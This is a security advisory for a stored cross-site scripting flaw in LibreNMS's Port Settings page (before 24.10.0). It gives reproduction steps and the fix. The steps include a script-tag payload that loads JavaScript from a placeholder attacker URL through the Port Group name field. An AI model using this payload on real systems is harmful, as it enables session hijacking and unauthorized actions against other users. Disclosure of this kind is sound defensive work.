Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the Port Settings page allows authenticated users to inject arbitrary JavaScript through the name parameter when creating a new Port Group. This payload executes when the Port Settings page is visited after the Port Group is added to a device, compromising user sessions and enabling unauthorized actions.
Product
This vulnerability affects LibreNMS versions prior to 24.10.0 in librenms/app/Http/Controllers/Table/EditPortsController.php.
Impact
This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.
Steps to reproduce
-
Log into the LibreNMS web interface.
-
Create a new Port Group under Port Settings with the following payload as the Name:
<script/src=//<attacker-url>></script> -
Add that Port Group to a device’s port settings.
-
Reload the Port Settings page.
-
Observe that the external script from
//<attacker-url>is loaded and executed.
Expected result:
The external script hosted at //<attacker-url> loads and runs on the Port Settings page when viewed, demonstrating arbitrary JavaScript execution in the victim’s session.
Remediation
Fixed in LibreNMS 24.10.0 by HTML-encoding the name parameter in EditPortsController.php before rendering the <option> element, preventing direct injection of unsanitized input.
Credit
This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.
